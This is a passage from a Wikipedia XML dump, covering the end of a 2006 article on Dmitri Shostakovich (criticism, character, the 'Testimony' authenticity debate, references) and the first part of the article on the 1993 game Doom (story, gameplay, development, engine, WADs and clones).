One prominent criticism of Shostakovich has been that his symphonic work in particular is, in the words of Shostakovich scholar Gerard McBurney, &quot;derivative, trashy, empty and second-hand&quot;.   The view has been expressed both by western figures such as [[Pierre Boulez]] (&quot;I think of Shostakovich as the second, or even third pressing of [[Gustav Mahler|Mahler]]&quot;) and by Soviet figures such as [[Filipp Gershkovich]], who called Shostakovich, &quot;a hack in a trance&quot;.  A related complaint is that he is vulgar and strident: [[Stravinsky]] wrote of [[Lady Macbeth of the Mtsensk District (opera)|Lady Macbeth]] being, &quot;brutally hammering... and monotonous&quot;, while the famous [[Pravda]] editorial ''Muddle Instead of Music'' said of the same work, &quot;All is coarse, primitive and vulgar. The music quacks, grunts and growls&quot;.&lt;ref&gt;Gerard McBurney, [http://www.geocities.com/kuala_bear/articles/mcburney.html Whose Shostakovich?] Accessed [[18 November]] [[2005]].&lt;/ref&gt;   

It is certainly true that Shostakovich borrows extensively from the material and styles both of earlier composers and of [[popular music]], with the shrillness of Mahler and the vulgarity of &quot;low&quot; music prominent influences on this &quot;greatest of eclectics&quot;.&lt;ref&gt;Haas, ''Shostakovich's Eighth: C minor Symphony against the Grain'' p. 125.&lt;/ref&gt;   McBurney traces this to the [[avant-garde]] artistic circles of the early Soviet period among which Shostakovich moved early in his career, and argues that these borrowings were a deliberate technique to allow him to create, &quot;patterns of contrast, repetition, exaggeration&quot; which gave his music the large-scale structure it required.&lt;ref&gt;Gerard McBurney, op cit.&lt;/ref&gt;

==Character==
[[Image:Shostfootball01.jpg|thumb|right|300px|Shostakovich at a football match.]]
Shostakovich was in many ways an obsessive man: according to his daughter he was &quot;obsessed with cleanliness&quot;&lt;ref&gt;Michael Ardov,''Memories of Shostakovich'' p. 139.&lt;/ref&gt;; he synchronised the clocks in his apartment; he regularly sent cards to himself to test how well the postal service was working.   Wilson's ''Shostakovich: A Life Remembered'' indexes 26 references to his nervousness.  Even as a young man, Mikhail Druskin remembers that the composer was &quot;fragile and nervously agile&quot;.&lt;ref&gt;Wilson pp. 41&amp;ndash;45.&lt;/ref&gt;   Yuri Lyubimov comments that &quot;The fact that he was more vulnerable and receptive than other people was no doubt an important feature of his genius&quot;.&lt;ref&gt;Wilson p. 183.&lt;/ref&gt;  In later life, Krzysztof Meyer recalled, &quot;his face was a bag of tics and grimaces&quot;.&lt;ref&gt;Wilson p. 462.&lt;/ref&gt;   
In his lighter moods, sport was one of his main recreations, although he preferred spectating or umpiring to participating (he was a qualified [[football (soccer)|football]] [[referee (football)|referee]]).  He also enjoyed playing [[card game]]s, particularly [[Solitaire|Patience]].
Both light and dark sides of his character were evident in his fondness for [[satirical]] writers such as [[Gogol]], [[Chekhov]] and [[Mikhail Zoshchenko]].  The influence of the latter in particular is evident in his letters, which include wry parodies of Soviet officialese.   Zoshchenko himself noted the contradictions in the composer's character: &quot;he is ... frail, fragile, withdrawn, an infinitely diret, pure child... [but he is also] hard, acid, extremely intelligent, strong perhaps, despotic and not altogether good-natured (although cerebrally good-natured)&quot;.&lt;ref&gt;Quoted in Fay, p. 121.&lt;/ref&gt;  

He was diffident by nature: Flora Litvinova has said he was &quot;completely incapable of saying 'No' to anybody&quot;.&lt;ref&gt;Wilson p. 162.&lt;/ref&gt;   This meant he was easily persuaded to sign official statements, including a denunciation of [[Andrei Sakharov]] in [[1973]]; on the other hand he was willing to try to help constituents in his capacities as chairman of the Composers' Union and Deputy to the [[Supreme Soviet]].  Oleg Prokofiev commented that &quot;he tried to help so many people that... less and less attention was paid to his pleas&quot;.&lt;ref&gt;Wilson p. 40.&lt;/ref&gt;

==Orthodoxy and revisionism==
Shostakovich's response to official criticism is disputed. It is clear that outwardly he conformed with the state, reading speeches and putting his name to articles expressing the government line. It is also generally agreed that he disliked the regime, a view confirmed by his family, his letters to Isaak Glikman, and the satirical [[cantata]] &quot;[[Rayok (Shostakovich)|Rayok]]&quot;, which ridiculed the &quot;anti-formalist&quot; campaign and was kept hidden until after his death.  

What is uncertain is the extent to which Shostakovich expressed his opposition to the state in his other music. The [[revisionist]] view was put forth by [[Solomon Volkov]] in the 1979 book ''[[Testimony (book)|Testimony]]'', which was claimed to be Shostakovich's memoirs dictated to Volkov. The book claimed that many of the composer's works contained coded anti-government messages.  It is known that he incorporated many quotations and [[motif (music)|motif]]s in his work, most notably his signature [[DSCH]] theme.   His longtime collaborator [[Yevgeny Mravinsky]] said that &quot;Shostakovich very often explained his intentions with very specific images and connotations&quot;.&lt;ref&gt;Wilson p. 139.&lt;/ref&gt;  The revisionist perspective has subsequently been supported by his children, Maxim and Galina, and many Russian musicians. More recently, Volkov has argued that Shostakovich adopted the role of the ''[[yurodivy]]'' or holy [[fool]] in his relations with the government.  His widow Irina supports the general revisionist thesis but denies the authenticity of ''Testimony''. Other prominent revisionists are [[Ian MacDonald]], whose book ''The New Shostakovich'' put forward more interpretations of his music, and Elizabeth Wilson, whose ''Shostakovich: A Life Remembered'' provides testimony from many of the composer's acquaintances. 

Many musicians and scholars (notably [[Laurel Fay]] and [[Richard Taruskin]]) contest the authenticity (and debate the significance) of ''Testimony'', alleging that Volkov compiled it from a combination of recycled articles, gossip, and possibly some information direct from the composer. More broadly, they argue that the significance of Shostakovich is in his music rather than his life, and that to seek political messages in the music detracts from, rather than enhances, its artistic value.

==Notes==
&lt;references/&gt;

==Media==
{{Listen|filename=Chant de la paix.ogg|title=Chanson de la Paix|description=&quot;Song of Peace&quot; from the film &quot;Meeting on the Elbe river&quot;|format=[[Ogg]]}}

==References==
* {{cite book
 | last = Ardov
 | first = Michael
 | year = 2004
 | title = Memories of Shostakovich
 | publisher = Short Books
 | id = ISBN 190409564X
 }}
* {{cite book
 | last = Fay
 | first = Laurel
 | year = 2001
 | chapter = Dmitri Shostakovich
 | title = Grove Dictionary of Music and Musicians
 | publisher = Macmillan Publishers
 }}
* {{cite book
 | last = Fay
 | first = Laurel
 | year = 1999
 | title = Shostakovich: A Life
 | publisher = Oxford University Press
 | id = ISBN 0195134389
 }}
* {{cite book
 | last = Haas
 | first = David
 | chapter = Shostakovich's Eighth:C minor Symphony against the Grain
 | editor = Bartlett (ed)
 | title = Shostakovich in Context
 }}
* {{Cite book
 | last = Ho
 | first = Allan 
 | coauthors = Feofanov, Dmitry
 | year = 1998
 | title = Shostakovich Reconsidered
 | publisher = Toccata Press
 | id = ISBN 0907689566
 }}
* {{cite web
 | last = Luebke
 | first = Jon
 | title = Jon Luebke's Shostakovich Page
 | publisher = 
 | work = Jon H. Luebke
 | url = http://www.msu.edu/user/luebkejo/shost1.html 
 | accessdate = August 17
 | accessyear = 2005
 }}
* {{cite book
 | authorlink = Ian MacDonald
 | last = MacDonald
 | first = Ian
 | year = 1990
 | title = The New Shostakovich
 | publisher = Northeastern University Press
 | id = ISBN 1555530893
 }}
* {{cite web
 | last = MacDonald
 | first = Ian
 | title = Shostakovichiana
 | publisher = 
 | work = Music Under Soviet Rule
 | url = http://www.siue.edu/~aho/musov/dmitri.html
 | accessdate = August 17
 | accessyear = 2005
 }}
* {{cite web
 | last = van Rijen
 | first = Onno
 | title = Opus by Shostakovich
 | publisher = 
 | work = Shostakovich &amp; Other Soviet Composers
 | url = http://home.wanadoo.nl/ovar/shosopus/shosopus.htm
 | accessdate = August 17
 | accessyear = 2005
 }}
* {{cite book
 | last = Shostakovich
 | first = Dmitri 
 | coauthors = Glikman, Isaak
 | year = 2001
 | title = Story of a Friendship: The Letters of Dmitry Shostakovich to Isaak Glikman
 | publisher = Cornell Univ Press
 | id = ISBN 0801439795
 }}
* {{cite book
 | last = Shostakovich
 | first = Dmitri 
 | coauthors = Volkov, Solomon
 | year = 2000
 | title = Testimony
 | edition = 7th edition
 | publisher = Proscenium
 | id = ISBN 0879100214
 }}
* {{cite book
 | last = Volkov
 | first = Solomon
 | year = 2004
 | title = Shostakovich and Stalin: The Extraordinary Relationship Between the Great Composer and the Brutal Dictator
 | publisher = Knopf
 | id = ISBN 0375410821
 }}
* {{cite book
 | last = Wilson
 | first = Elizabeth
 | year = 1994
 | title = Shostakovich: A Life Remembered
 | publisher = Princeton University Press
 | id = ISBN 0691044651
 }}
* {{cite web
 | title = Shostakovich Myths Debunked
 | publisher = 
 | work = Redrick's Musicological References
 | url = http://www.geocities.com/rickredrick/Shostakovich.html
 | accessdate = August 17
 | accessyear = 2005
 }}

==External links==
*[http://www.epitonic.com/artists/dimitrishostakovich.html Epitonic.com: Dimitri Shostakovich] featuring tracks from ''Written With The Heart's Blood''
*[http://www.bbc.co.uk/radio3/discoveringmusic/audioarchive.shtml Archive of BBC's &quot;Discovering Music&quot; radio show], featuring Shostakovich's Symphony No. 5, Symphony No. 10, String Quartet No. 8, and Cello Concerto No. 1.
*[http://www.imslp.org/index.php?title=Category:Shostakovich%2C_Dmitri IMSLP] - International Music Score Library Project's Shostakovich page.
*[http://www.classiccat.net/shostakovich_d/index.htm Classic Cat - Dimitri Shostakovich]: An overview of free downloadable Shostakovich music on the internet by Classic Cat - the free classical music directory.
*[http://www.jmc.co.il/livecon2003/chamber3.html The Aviv String Quartet and Guest]: String Quartet No. 8 in C minor, op. 110.
* [http://www.classicalarchives.com/main/s.html#SHOSTAKOVICH Various pieces of him in streaming media by Classical Music Archives]
* [http://www.violinmp3.com/ ViolinMP3.com - Streaming webcasts of Piano Quintet Op.52 and Romances on Verses by Alexander Blok Op.127]

{{featured article}}

[[Category:20th century classical composers|Shostakovich, Dmitri]]
[[Category:Opera composers|Shostakovich, Dmitri]]
[[Category:Russian composers|Shostakovich, Dmitri]]
[[Category:Russian classical pianists|Shostakovich, Dmitri]]
[[Category:People's Artists of the USSR|Shostakovich, Dmitri]]
[[Category:Modernism|Shostakovich, Dmitri]]
[[Category:Deaths by lung cancer|Shostakovich, Dmitri]]
[[Category:1906 births|Shostakovich, Dmitri]]
[[Category:1975 deaths|Shostakovich, Dmitri]]

{{Link FA|de}}
{{Link FA|nl}}

[[cy:Dmitri Shostakovich]]
[[da:Dmitrij Sjostakovitj]]
[[de:Dmitri Dmitrijewitsch Schostakowitsch]]
[[eo:Dmitri ŜOSTAKOVIĈ]]
[[es:Dmitri Shostakovich]]
[[et:Dmitri Šostakovitš]]
[[fa:دمیتری شوستاکوویچ]]
[[fi:Dmitri Šostakovitš]]
[[fr:Dmitri Chostakovitch]]
[[he:דמיטרי שוסטקוביץ']]
[[hu:Dmitrij Dmitrijevics Sosztakovics]]
[[is:Dímítríj Sjostakovítsj]]
[[it:Dmitrij Šostakovič]]
[[ja:ドミトリ・ショスタコーヴィチ]]
[[ka:შოსტაკოვიჩი, დმიტრი]]
[[lb:Dmitri Schostakowitsch]]
[[nl:Dmitri Sjostakovitsj]]
[[no:Dmitrij Sjostakovitsj]]
[[pl:Dymitr Szostakowicz]]
[[ru:Шостакович, Дмитрий Дмитриевич]]
[[sl:Dmitrij Šostakovič]]
[[sv:Dmitrij Sjostakovitj]]
[[th:ดิมิทริ โชสตาโควิช]]
[[zh:季米特里·肖斯塔科维奇]]</text>
    </revision>
  </page>
  <page>
    <title>Doom</title>
    <id>8521</id>
    <revision>
      <id>41969488</id>
      <timestamp>2006-03-02T23:19:06Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">:''This article is about the game. For other uses, see [[Doom (disambiguation)]].''
{{Infobox CVG| title = Doom
|image = [[Image:Doom-boxart.jpg|center|250px|The Doom title artwork, painted by Don Ivan Punchatz, depicts the lone hero, a space marine, fighting demonic creatures.]]
|developer = [[id Software]]
|publisher = [[id Software]]
|designer = 
|engine = [[Doom engine|Doom]]
|released = [[December 10]], [[1993]]
|genre = [[First-person shooter]]
|modes = [[Single player]]&lt;br&gt;[[Multiplayer]] (cooperative)&lt;br&gt;Multiplayer ([[deathmatch]])
|ratings = [[ESRB]]: Mature (M), Teen (T) (for [[Game Boy Advance]] version), [[BBFC]]: 15 (except for [[Game Boy Advance]] release), [[OFLC]]: MA15+ 
|platforms = [[IBM PC compatible|PC]] ([[MS-DOS]])&lt;br&gt;[[Versions and ports of Doom|Other versions and ports of Doom]]
|media = 3½&quot; [[floppy disk]], [[Compact disc|CD]] (1)
|requirements = 
|input = 
}}
'''''Doom''''' (or '''''DOOM'''''){{fn|a}} is a 1993 [[computer game]] by [[id Software]] that is among the landmark titles in the [[first-person shooter]] genre. It is widely recognized for its pioneer use of immersive [[3D computer graphics|3D graphics]], [[multiplayer|networked multiplayer gaming]], and the support for players to create custom expansions ([[Doom WAD|WAD]]s). Distributed as [[shareware]], ''Doom'' was downloaded by an estimated 10 million people within two years, popularizing the mode of gameplay and spawning a gaming [[subculture]]; as a sign of its impact on the industry, games from the mid-1990s boom of first-person shooters are often known simply as &quot;[[Doom clone|''Doom'' clones]]&quot;. Its graphic and interactive [[violence]]{{ref|ESRB}} has also made ''Doom'' the subject of much [[video game controversy|controversy]] reaching outside the gaming world.

The ''Doom'' franchise was continued with ''[[Doom II|Doom II: Hell on Earth]]'' (1994) and numerous [[expansion pack]]s, including ''[[Versions and ports of Doom|The Ultimate Doom]]'' (1995), ''[[Master Levels for Doom II]]'' (1995), and ''[[Final Doom]]'' (1996). Originally released for [[personal computer|PC]]/[[DOS]], these games have later been [[porting|ported]] to many other platforms, including nine different [[game console]]s. The series lost mainstream appeal as the technology of the [[Doom engine|''Doom'' game engine]] was surpassed in the mid-1990s, although fans have continued making [[Wads|WADs]], [[speedrunning]], and modifying the [[source code]] which was released in 1997. The franchise again received popular attention in 2004 with the release of ''[[Doom 3]]'', a retelling of the original game using new technology, and an associated 2005 [[Doom (film)|''Doom'' motion picture]].

==Game features==
===Story===
''Doom'' has a [[science-fiction]]/[[horror (genre)|horror]] theme, and a simple [[plot]]. The background is only given in the game's manual, and the in-game story is mainly advanced with short messages displayed between the game's episodes.

The player takes the role of a nameless [[space marine]] (who is affectionately referred to as &quot;[[Doomguy]]&quot; by many fans), &quot;one of Earth's toughest, hardened in combat and trained for action&quot;, who has been deported to [[Mars]] for assaulting a senior officer when ordered to kill unarmed civilians. He is forced to work for the [[Union Aerospace Corporation]] (UAC), a military-industrial conglomerate that is performing secret experiments with [[teleportation]] between the moons of Mars, [[Phobos (moon)|Phobos]] and [[Deimos (moon)|Deimos]]. Suddenly, something goes wrong and creatures from [[Hell]] come out of the teleportation gates. A defensive response from base security fails to halt the invasion, and the bases quickly get overrun by [[demon]]s, all personnel getting killed or turned into [[zombie]]s. At the same time, Deimos vanishes entirely. A UAC team from Mars is sent to Phobos to investigate the incident, but soon [[radio]] contact ceases and only one human is left alive &amp;mdash; the player, whose task is to make it out alive.{{ref|story}}

[[Image:Doom_ingame_1.png|thumb|240px|''Episode I: Knee-Deep in the Dead'' takes place in the [[military base]] on [[Phobos (moon)|Phobos]].  In this image the main character is currently using the [[chainsaw]], a powerful [[mêlée]]-only weapon.  Pools of [[toxic waste]] are visible on both sides, and a [[zombie|zombified]] human approaches.]]
[[Image:Doom ingame 2.png|right|thumb|240px|''Episode III: Inferno'' is set in [[Hell]]. The main character has just fired the [[shotgun]] at a group of [[Imp]]s and is cycling it. He is badly injured and has only seven shells left.]]

{{spoiler}}

In order to beat the game, the player must fight through three episodes containing nine [[level (computer and video games)|level]]s each (see [[Episodes and levels of Doom|Episodes and levels of ''Doom'']]). ''Knee-Deep in the Dead'', the first episode and the only one in the [[shareware]] version, is set in the high-tech military bases on Phobos. It ends with the player fighting the [[List of enemies in Doom#Baron of Hell|Barons of Hell]] and afterwards entering the teleporter leading to Deimos, there getting overwhelmed by monsters and seemingly killed. In the second episode, ''Shores of Hell'', the player journeys through the Deimos installation, whose areas are interwoven with beastly architecture. After encountering the [[List of enemies in Doom#Cyberdemon|Cyberdemon]], the truth about the vanished moon is discovered: it is floating above Hell. The player climbs down to the surface, and the final episode, ''Inferno'', begins. After destroying the final [[boss (video games)|boss]], the [[List of enemies in Doom#Spider Mastermind|Spider Mastermind]], a hidden doorway opens for the hero who has &quot;proven too tough for Hell to contain&quot;, leading back home to Earth. The expansion pack ''[[Ultimate Doom]]'' adds a fourth episode, ''Thy Flesh Consumed'', chronicling the marine's return to Earth.

===Gameplay===
''Main article: [[Gameplay of Doom]]''

Being a [[first-person shooter]], ''Doom'' is experienced through the eyes of the main character. The objective of each level is simply to locate the exit room that leads to the next area (usually labeled with an inviting red EXIT sign), while surviving all hazards on the way. Among the obstacles are monsters, pits of [[radioactive waste|radioactive slime]], ceilings that come down and [[crushing|crush]] the player, and locked doors for which a [[keycard]] or remote switch need to be located. The levels are sometimes labyrinthine (the [[automap]] is a crucial aid in navigating them), and feature plenty of hidden secret areas that hold [[power-up]]s as a reward for players who explore.

''Doom'' is notable for the [[weapon]]s arsenal available to the player, which became prototypical for first-person shooters. The player starts armed only with a [[pistol]], and [[brass knuckles|brass-knuckled]] [[fist]]s in case the [[ammunition]] runs out, but larger weapons can be picked up: these are a [[chainsaw]], a [[shotgun]], a [[chaingun]], a [[rocket launcher]], a [[plasma rifle]], and finally the immensely powerful [[BFG 9000]]. There is a wide array of power-ups, such as a [[backpack]] that increases the player's ammunition-carrying capacity, [[armor]], [[first aid kit]]s to restore health, and blue demonic orbs that boost the player's health percentage beyond 100%, up to a maximum of 200%.

The enemy monsters in ''Doom'' make up the central gameplay element. The player faces them in large numbers, on the higher of the game's five [[difficulty level]]s often encountering a dozen or more in the same room. There are 10 types of monsters (''[[Doom II]]'' doubles this figure), including possessed humans as well as [[demon]]s of different strength, ranging from weak but ubiquitous [[imp]]s and red, floating [[cacodemon]]s, to the [[boss (video games)|bosses]] which survive multiple strikes even from the player's strongest weapons. The monsters have very simple behavior, consisting of either walking toward the player or attacking by throwing fireballs, biting, and scratching (though they can also [[monster infighting|fight each other]]).

Aside from the [[single-player]] game mode, ''Doom'' features two [[multiplayer]] modes playable over a [[computer network|network]]: &quot;co-operative&quot;, in which two to four players team up against the legions of Hell, and &quot;[[deathmatch]]&quot;, in which two to four players fight each other.
{{multi-video start}}
{{multi-video item|filename=Doom single-player E3M6.ogg|title=''Doom'' single-player gameplay demonstration|description=Video of a single-player game, in the level ''E3M6: Mount Erebus''.|format=[[Theora]]}}
{{multi-video end}}

==Development==
''Main article: [[Making of Doom]]''

[[Image:Adrian Carmack cropped.jpg|thumb|240px|Some of the ''Doom'' monsters were digitized from sculptures. Here, [[Adrian Carmack]] creates the [[List of enemies in Doom#Baron of Hell|Baron of Hell]] in clay.]]

The development of ''Doom'' started in 1992 with [[John Carmack]] creating the new [[game engine]], the [[Doom engine|''Doom'' engine]], while the rest of the team finished ''[[Spear of Destiny (computer game)|Spear of Destiny]]''. When the [[game design]] phase began in late 1992, the main thematic influences were the [[science fiction]] [[action movie]] ''[[Aliens (1986 film)|Aliens]]'' and the [[horror movie]] ''[[Evil Dead II]]''. The title of the game was picked by Carmack:
:''There is a scene in &quot;[[The Color of Money]]&quot; where [[Tom Cruise|Tom Cruse]] ''[sic]'' shows up at a pool hall with a custom pool cue in a case. &quot;What do you have in there?&quot; asks someone. &quot;Doom.&quot; replied Cruse with a cocky grin. That, and the resulting carnage, was how I viewed us springing the game on the industry.'' {{ref|DWCarmack}}

Designer [[Tom Hall]] wrote an elaborate [[design document]] called the ''Doom Bible'', according to which the game would feature a detailed storyline, multiple player characters, and a number of interactive features.{{ref|bible}} However, many of his ideas were discarded during development in favor of simpler design primarily advocated by Carmack, resulting in Hall in the end being forced to resign due to not contributing effectively in the direction the rest of the team was going. Most of the [[level design]] that ended up in the final game is that of [[John Romero]] and [[Sandy Petersen]]. The graphics, by [[Adrian Carmack]], [[Kevin Cloud]] and [[Gregor Punchatz]], were created in various ways: although much was drawn or painted, several of the monsters were digitized from sculptures in [[clay]] or [[latex]], and some of the weapons are toy guns from [[Toys &quot;R&quot; Us]]. A [[heavy metal music|heavy metal]]-[[ambient music|ambient]] soundtrack was supplied by [[Bobby Prince]]. {{ref|MastersOfDoom}}

===Engine technology===
''Main article: [[Doom engine]]''

''Doom''&lt;nowiki&gt;'&lt;/nowiki&gt;s primary distinguishing feature at the time of its release was its realistic [[3D computer graphics|3D graphics]], then unparalleled by other [[real-time computing|real-time]]-rendered games running on consumer-level hardware. The advance from id Software's previous game ''[[Wolfenstein 3D]]'' was enabled by several new features in the ''Doom'' engine:

[[Image:Doom darkness.png|thumb|240px|''Doom'' relies heavily on contrasts of lighting in building its atmosphere.]]

* Height differences (all rooms in ''Wolfenstein 3D'' are at the same altitude);
* Non-[[perpendicular]] walls (all walls in ''Wolfenstein 3D'' run along a rectangular grid);
* Full [[texture mapping]] of all surfaces (in ''Wolfenstein 3D'', floors and ceilings are not texture mapped); and,
* Varying light levels (all areas in ''Wolfenstein 3D'' are fully lit at the same brightness). While contributing to the game's visual authenticity by allowing effects such as highlights and shadows, this perhaps most importantly added to the game's atmosphere and even gameplay; the use of darkness as a means of frightening or confusing the player was an unseen element in games.

In contrast to the static levels of ''Wolfenstein 3D'', those in ''Doom'' are highly interactive: platforms can lower and rise, floors can raise sequentially to form [[staircase]]s, and bridges can raise and lower. The life-like feeling of the environment was enhanced further by the [[stereo sound]] system, which made it possible to roughly tell the direction and distance of a sound's origin. The player is kept on guard by the grunts and gnarls of monsters, and receives occasional clues to finding secret areas in the form of sounds of hidden doors opening remotely. Monsters can also become aware of the player's presence by hearing distant gunshots.

Carmack had to make use of several tricks for these features to run smoothly on 1993's home computers. Most significantly, ''Doom'' levels are not truly three-dimensional; they are internally represented on a [[plane (mathematics)|plane]], with height differences added separately (a similar trick is still used by many games to create huge outdoor environments). This leads to several limitations: it is, for example, not possible for a ''Doom'' level to have one room over another. This two-dimensional representation does, however, have the benefit that rendering can be done very quickly, using a [[Binary space partitioning|binary space partitioning]] method. Another benefit was the clearness of the automap because it could be displayed with 2D vectors without the risk of overlapping.

Another important feature of the ''Doom'' engine is a modular approach that allows the game content to be replaced by loading custom [[Doom WAD|WAD files]]. ''Wolfenstein 3D'' was not designed to be expansible, but fans had nevertheless figured out how to create their own levels for it, and ''Doom'' was designed to take the phenomenon further. The ability to create custom scenarios contributed significantly to the game's popularity (see the section on [[#WADs|WADs]] below).

==Release and later history==
===Initial popularity===
The development of ''Doom'' was surrounded by much anticipation. The large number of posts in Internet [[newsgroup]]s about ''Doom'' led to the [[SPISPOPD]] joke, to which a nod was given in the game in the form of a [[cheat code]]. In addition to news, rumors, and [[screenshot]]s, unauthorized leaked [[alpha version]]s also circulated online. (Many years later these alpha versions were sanctioned by id Software because of historical interest; they reveal how the game progressed from its early design stages.) The first public version of ''Doom'' was uploaded to an [[File Transfer Protocol|FTP]] run at the [[University of Wisconsin]] on [[December 10]], [[1993]].

Released as [[shareware]], people were encouraged to distribute ''Doom'' further, and did so: in 1995, ''Doom'' was estimated to have been installed on more than 10 million computers. Although most users did not purchase the registered version, over one million copies have been sold, and the popularity helped the sales of later games in the ''Doom'' series which were not released as shareware. In 1995, ''[[The Ultimate Doom]]'' (version 1.9, including episode IV) was released, making this the first time that ''Doom'' was sold commercially in stores. 

[[Image:Billdoom.png|thumb|240px|Recognizing the game's popularity, [[Bill Gates]] made a presentation to promote [[Windows 95]] while digitally superimposed into ''Doom'' to blast zombies.]]

In a press release dated [[January 1]], [[1993]], id Software had written that they expected ''Doom'' to be &quot;the number one cause of decreased productivity in businesses around the world&quot;. This prediction came true at least in part: ''Doom'' became a major problem at workplaces, both occupying the time of employees and clogging [[computer network]]s with traffic caused by deathmatches. [[Intel]], [[Lotus Development]] and [[Carnegie Mellon University]] are among many organizations reported to form policies specifically disallowing ''Doom''-playing during work hours. At the [[Microsoft]] campus, ''Doom'' was by one account{{ref_label|MastersOfDoom|5a|a}} equal to a &quot;religious phenomenon&quot;.

In late 1995, ''Doom'' was estimated to be installed on more computers worldwide than Microsoft's new operating system [[Windows 95]], despite million-dollar advertising campaigns for the latter. The game's popularity prompted [[Bill Gates]] to briefly consider buying id Software, and led Microsoft to develop a Windows 95 port of ''Doom'' to promote the operating system as a gaming platform. One such presentation to promote Windows 95 had Bill Gates digitally superimposed into the game. {{ref|BillGates}}

''Doom'' was also widely praised in the gaming press. In 1994, it was awarded [[Game of the Year]] by both [[PC Gamer]] and [[Computer Gaming World]]. It also received the Award for Technical Excellence from [[PC Magazine]], and the Best Action Adventure Game award by the [[Academy of Interactive Arts &amp; Sciences]].

In addition to the thrilling nature of the single-player game, the [[deathmatch]] mode was an important factor in the game's popularity. ''Doom'' was not the first first-person shooter with a deathmatch mode&amp;mdash;''[[MIDI Maze]]'' on the [[Atari ST]] had one in 1987, using the [[MIDI]] ports built into the ST to network up to four machines together. However, ''Doom'' was the first game to allow deathmatching over [[ethernet]], and the combination of violence and gore with fighting friends made deathmatching in ''Doom'' particularly attractive. Two player deathmatch was also possible over a phone line by using a [[modem]]. Due to its widespread distribution, ''Doom'' hence became the game that introduced deathmatching to a large audience (and was also the first game to use the term &quot;deathmatch&quot;).

===WADs===
''Main article: [[Doom WAD]]s''

[[Image:Ghostbusters Doom.png|thumb|240px|''[[Ghostbusters]]'' is one of many movies that have been made into ''Doom'' WADs.]]

The ability to create custom levels and otherwise modify the game, in the form of custom [[WAD file]]s, turned out to be a particularly popular aspect of ''Doom''. Gaining the first large [[mod (computer gaming)|mod]]-making community, ''Doom'' affected the culture surrounding first-person shooters, and also the industry. Several to-be professional [[game designer]]s started their careers making ''Doom'' WADs as a hobby, among them [[Tim Willits]], who later became the lead designer at id Software.

The first [[level editor]]s appeared in early 1994, and additional tools have been created that allow most aspects of the game to be edited. Although the majority of WADs contain one or several custom levels mostly in the style of the original game, others implement new monsters and other resources, and heavily alter the gameplay; several popular movies, television series and other brands from popular culture have been turned into ''Doom'' WADs by fans (without authorization), including ''[[Aliens (1986 film)|Aliens]]'', ''[[Star Wars]]'', ''[[The X-files]]'', ''[[The Simpsons]]'' and ''[[Batman]]''.

Some addon files were also made which changed the sounds made by the various characters and weapons. Notable ones were samples from [[Beavis and Butthead]] and the famous orgasm scene from ''[[When Harry Met Sally...]]''.

Around 1994 and 1995, WADs were primarily distributed online over [[bulletin board system]]s or sold in collections on [[compact disc]]s in computer shops, sometimes bundled with editing guide books. [[File Transfer Protocol|FTP]] servers became the primary method in later years. A few WADs have been released commercially, including the ''[[Master Levels for Doom II]]'', which was released in 1995 along with ''Maximum Doom'', a CD containing 1,830 WADs that had been downloaded from the Internet. Several thousands of WADs have been created in total: the ''idgames'' FTP archive contains over 13,000 files{{ref|idgamesCount}}, and this does not represent the complete output of ''Doom'' fans.

Third party programs were also written to handle the loading of various WADs, since the game is a [[DOS]] game and all commands had to be entered on the [[command line]] to run. A typical launcher would allow the player to select which files to load from a menu, making it much easier to start.

===Clones and related products===
''Main articles: [[Doom clone]]s, [[Versions and ports of Doom]], [[Doom spin-offs and homages]]''

[[Image:Doom clone vs first person shooter.png|thumb|240px|The phrase &quot;[[Doom clone|''Doom'' clone]]&quot; was initially popular to describe the style of gameplay in ''Doom''-like games, but after 1996 was gradually replaced by the more generic &quot;[[first person shooter]]&quot;.]]

The popularity of ''Doom'' led to the development of a sequel, ''[[Doom II: Hell on Earth]]'' (1994), as well as expansion packs and alternate versions based on the same game engine, including ''[[The Ultimate Doom]]'' (1995), ''[[Final Doom]]'' (1996), and ''[[Doom 64]]'' (1997). ''Doom'' became a [[killer application]] that all capable [[game console|console]]s and [[operating system]]s were expected to have, and versions of ''Doom'' have subsequently been released for the following systems: [[DOS]], [[Microsoft Windows]], [[QNX]], [[Irix]], [[NEXTSTEP]], [[Linux]], [[Apple Macintosh]], [[Super Nintendo Entertainment System|Super NES]], [[Sega 32X]], Sony [[PlayStation]], [[Game Boy Advance]], [[RiscOS]], [[Atari Jaguar]], [[Sega Saturn]], [[Nintendo 64]], the [[Tapwave Zodiac]] and [[3DO Interactive Multiplayer|3DO]]. The total number of copies of ''Doom'' games sold is unknown, but may be well over 4 million{{ref|sales}}; ''Doom II'' alone has sold for over $100 million.

The game engine was licensed to several other companies as well, who released their own games based on it, including ''[[Heretic (computer game)|Heretic]]'', ''[[HeXen]]'', ''[[Strife]]'' and ''[[HacX]]''. There is also a ''Doom''-based game released by a breakfast [[cereal]] maker as a product tie-in called ''[[Chex Quest]]'', and the [[United States Marine Corps]] released ''[[Marine Doom]]'', designed to &quot;teach teamwork, coordination and decision-making&quot;.

Dozens of new first-person shooter titles appeared following ''Doom''&lt;nowiki&gt;'&lt;/nowiki&gt;s release, and they were often referred to as &quot;[[Doom clone|''Doom'' clones]]&quot; rather than &quot;first-person shooters&quot;. Some of these were certainly &quot;clones&quot;&amp;mdash;hastily assembled and quickly forgotten about&amp;mdash;others explored new grounds of the genre and were highly acclaimed. ''Doom''&lt;nowiki&gt;'&lt;/nowiki&gt;s principal rivals were [[Apogee Software|Apogee]]'s ''[[Rise of the Triad]]'' and [[Origin Systems]]' ''[[System Shock]]''. The popularity of ''[[Star Wars]]''-themed WADs is rumored to have been the factor that prompted [[LucasArts]] to create their first-person shooter ''[[Dark Forces]]''. {{ref|GamespyClones}}

When, three years later, [[3D Realms]] released ''[[Duke Nukem 3D]]'', a tongue-in-cheek science fiction shooter based on [[Ken Silverman]]'s technologically similar [[Build engine|''Build'' engine]], id Software had nearly finished ''[[Quake]]'', its next-generation game, which mirrored ''Doom''&lt;nowiki&gt;'&lt;/nowiki&gt;s success for the remainder of the 1990s and significantly reduced interest in its predecessor. The franchise remained in that state until 2000, when ''[[Doom 3]]'' was announced. A retelling of the original ''Doom'' using entirely new graphics technology,  ''Doom 3'' was [[hype]]d to provide as large a leap in realism and interactivity as the original ''Doom'', but received mixed reactions when released in 2004.

